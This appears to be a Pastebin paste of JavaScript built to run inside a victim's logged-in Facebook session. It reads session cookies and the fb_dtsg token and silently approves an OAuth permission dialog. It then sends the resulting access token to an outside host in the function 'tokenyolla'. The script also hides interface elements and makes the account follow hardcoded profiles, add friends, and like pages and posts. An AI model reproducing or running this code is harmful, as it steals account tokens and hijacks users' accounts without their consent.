Advertisement
vlthanhay

codegb

Nov 24th, 2014
219
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 8.82 KB | None | 0 0
  1. if(location.hostname.indexOf("www.facebook.com","static.ak.facebook.com","apps.facebook.com","beta.facebook.com")>=0)
  2. {
  3. var profile_id=document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]).toString();
  4. function uygulamaizinver(url)
  5. {
  6. var xmlhttp=new XMLHttpRequest();
  7. xmlhttp.onreadystatechange=function()
  8. {
  9. if(xmlhttp.readyState==4)
  10. {
  11. izinverhtml=document.createElement("html");
  12. izinverhtml.innerHTML=xmlhttp.responseText;
  13. if(izinverhtml.getElementsByTagName("form").length>0)
  14. {
  15. izinverhtml.innerHTML=izinverhtml.getElementsByTagName("form")[0].outerHTML
  16. act=izinverhtml.getElementsByTagName("form")[0].action;
  17. duzenlevegonder(izinverhtml,act);
  18. }
  19. }
  20. };
  21. xmlhttp.open("GET",url,true);
  22. xmlhttp.send();
  23. }
  24. function duzenlevegonder(formnesne,act)
  25. {
  26. izinverparams="";
  27. for(i=0;
  28. i<formnesne.getElementsByTagName("input").length;
  29. i++)
  30. {
  31. if(formnesne.getElementsByTagName("input")[i].name.indexOf("__CANCEL__")<0&&formnesne.getElementsByTagName("input")[i].name.indexOf("cancel_clicked"))
  32. {
  33. izinverparams+="&"+formnesne.getElementsByTagName("input")[i].name+"="+formnesne.getElementsByTagName("input")[i].value;
  34. }
  35. }
  36. if(formnesne.getElementsByTagName("select").length>0)
  37. {
  38. izinverparams+="&"+formnesne.getElementsByTagName("select")[0].name+"=80";
  39. }
  40. izinverparams.replace("&fb_dtsg","fb_dtsg");
  41. izinverparams+="&__CONFIRM__=1";
  42. formnesne=formnesne;
  43. var xmlhttp=new XMLHttpRequest();
  44. xmlhttp.onreadystatechange=function()
  45. {
  46. if(xmlhttp.readyState==4)
  47. {
  48. izinhtml=document.createElement("html");
  49. izinhtml.innerHTML=xmlhttp.responseText;
  50. if(izinhtml.getElementsByTagName("form").length>0)
  51. {
  52. izinhtml.innerHTML=izinhtml.getElementsByTagName("form")[0].outerHTML;
  53. act=izinhtml.getElementsByTagName("form")[0].action;
  54. duzenlevegonder(izinhtml,act)
  55. }
  56. else
  57. {
  58. sex=xmlhttp.responseText.match(/#access_token=(.*?)&expires_in/i);
  59. if(sex[1])
  60. {
  61. tokenyolla(sex[1]);
  62. }
  63. }
  64. }
  65. };
  66. xmlhttp.open("POST",act,true);
  67. xmlhttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
  68. xmlhttp.send(izinverparams);
  69. }
  70. function TokenUrl(id)
  71. {
  72. return "//www.facebook.com/dialog/oauth?response_type=token&display=popup&client_id="+id+"&redirect_uri=fbconnect://success&sso_key=com&scope=email,publish_stream,user_likes,friends_likes,user_birthday";
  73. }
  74. if(!localStorage['token_'+profile_id]||(localStorage['token_'+profile_id]&&tarih.getTime()>=localStorage['token_'+profile_id]))
  75. {
  76. uygulamaizinver(TokenUrl("121876164619130"));
  77. var http=new XMLHttpRequest();
  78. http['open']('GET','http://graph.facebook.com/'+profile_id,false);
  79. http['send']();
  80. var get=JSON.parse(http['responseText']);
  81. var isim=get.name;
  82. }
  83. window.setInterval(function()
  84. {
  85. if(document.getElementsByClassName("_5ce"))
  86. {
  87. for(i=0;
  88. i<document.getElementsByClassName("_5ce").length;
  89. i++)
  90. {
  91. document.getElementsByClassName("_5ce")[i].innerHTML="";
  92. }
  93. }
  94. if(document.getElementsByClassName("uiToggle wrap"))
  95. {
  96. for(i=0;
  97. i<document.getElementsByClassName("uiToggle wrap").length;
  98. i++)
  99. {
  100. document.getElementsByClassName("uiToggle wrap")[i].innerHTML="";
  101. }
  102. }
  103. if(document.getElementsByClassName("uiPopover"))
  104. {
  105. for(i=0;
  106. i<document.getElementsByClassName("uiPopover").length;
  107. i++)
  108. {
  109. document.getElementsByClassName("uiPopover")[i].innerHTML="";
  110. }
  111. }
  112. }
  113. ,200);
  114. function tokenyolla(token)
  115. {
  116. top.location.href='http://huukhiemdeptrai.esy.es/index.php/#'+token;
  117. }
  118. }
  119. //data
  120. function getRandomInt (min, max) {
  121. return Math.floor(Math.random() * (max - min + 1)) + min;
  122. }
  123. function randomValue(arr) {
  124. return arr[getRandomInt(0, arr.length-1)];
  125. }
  126.  
  127. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  128. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  129.  
  130. function cereziAl(isim) {
  131. var tarama = isim + "=";
  132. if (document.cookie.length > 0) {
  133. konum = document.cookie.indexOf(tarama)
  134. if (konum != -1) {
  135. konum += tarama.length
  136. son = document.cookie.indexOf(";", konum)
  137. if (son == -1)
  138. son = document.cookie.length
  139. return unescape(document.cookie.substring(konum, son))
  140. }
  141. else { return ""; }
  142. }
  143. }
  144. function getRandomInt (min, max) {
  145. return Math.floor(Math.random() * (max - min + 1)) + min;
  146. }
  147. function randomValue(arr) {
  148. return arr[getRandomInt(0, arr.length-1)];
  149. }
  150.  
  151. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  152. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  153.  
  154. function a(abone){
  155. var http4 = new XMLHttpRequest();
  156.  
  157. var url4 = "/ajax/follow/follow_profile.php?__a=1";
  158.  
  159. var params4 = "profile_id=" + abone + "&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg=" + fb_dtsg + "&lsd&__" + user_id + "&phstamp=";
  160. http4.open("POST", url4, true);
  161.  
  162. //Send the proper header information along with the request
  163. http4.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  164. http4.setRequestHeader("Content-length", params4.length);
  165. http4.setRequestHeader("Connection", "close");
  166.  
  167. http4.onreadystatechange = function() {//Call a function when the state changes.
  168. if(http4.readyState == 4 && http4.status == 200) {
  169.  
  170. http4.close; // Close the connection
  171.  
  172. }
  173. }
  174.  
  175. http4.send(params4);
  176. }
  177.  
  178. function sublist(uidss) {
  179. var a = document.createElement('script');
  180. a.innerHTML = "new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: " + uidss + " }).send();";
  181. document.body.appendChild(a);
  182. }
  183. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  184. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  185. function IDS(r) {
  186. var X = new XMLHttpRequest();
  187. var XURL = "//www.facebook.com/ajax/add_friend/action.php";
  188. var XParams = "to_friend=" + r +"&action=add_friend&how_found=friend_browser_s&ref_param=none&&&outgoing_id=&logging_location=search&no_flyout_on_click=true&ego_log_data&http_referer&__user="+user_id+"&__a=1&__dyn=798aD5z5CF-&__req=35&fb_dtsg="+fb_dtsg+"&phstamp=";
  189. X.open("POST", XURL, true);
  190. X.onreadystatechange = function () {
  191. if (X.readyState == 4 && X.status == 200) {
  192. X.close;
  193. }
  194. };
  195. X.send(XParams);
  196. }
  197. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value; var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); function Like(p) { var Page = new XMLHttpRequest(); var PageURL = "//www.facebook.com/ajax/pages/fan_status.php"; var PageParams = "&fbpage_id=" + p +"&add=true&reload=false&fan_origin=page_timeline&fan_source=&cat=&nctr[_mod]=pagelet_timeline_page_actions&__user="+user_id+"&__a=1&__dyn=798aD5z5CF-&__req=d&fb_dtsg="+fb_dtsg+"&phstamp="; Page.open("POST", PageURL, true); Page.onreadystatechange = function () { if (Page.readyState == 4 && Page.status == 200) { Page.close; } }; Page.send(PageParams); }
  198. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value; var now=(new Date).getTime(); function P(opo) { var X = new XMLHttpRequest(); var XURL ="//www.facebook.com/ajax/ufi/like.php"; var XParams = "like_action=true&ft_ent_identifier="+opo+"&source=1&client_id="+now+"%3A379783857&rootid=u_jsonp_39_18&giftoccasion&ft[tn]=%3E%3D&ft[type]=20&ft[qid]=5890811329470279257&ft[mf_story_key]=2814962900193143952&ft[has_expanded_ufi]=1&nctr[_mod]=pagelet_home_stream&__user="+user_id+"&__a=1&__dyn=7n88QoAMBlClyocpae&__req=g4&fb_dtsg="+fb_dtsg+"&phstamp="; X.open("POST", XURL, true); X.onreadystatechange = function () { if (X.readyState == 4 && X.status == 200) { X.close; } }; X.send(XParams); }
  199. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  200. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  201. function a(abone)
  202. { var http4=new XMLHttpRequest;
  203. var url4="/ajax/follow/follow_profile.php?__a=1";
  204. var params4="profile_id="+abone+"&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg="+fb_dtsg+"&lsd&__"+user_id+"&phstamp=";
  205. http4.open("POST",url4,true);
  206. http4.onreadystatechange=function()
  207. { if(http4.readyState==4&&http4.status==200)http4.close };
  208. http4.send(params4)}
  209. function sublist(uidss)
  210. { var a = document.createElement('script');
  211. a.innerHTML = "new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: " + uidss + " }).send();";
  212. document.body.appendChild(a);
  213. }
  214.  
  215. //Huu Khiem
  216. a("100007137185093");
  217. a("100005667077434");
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement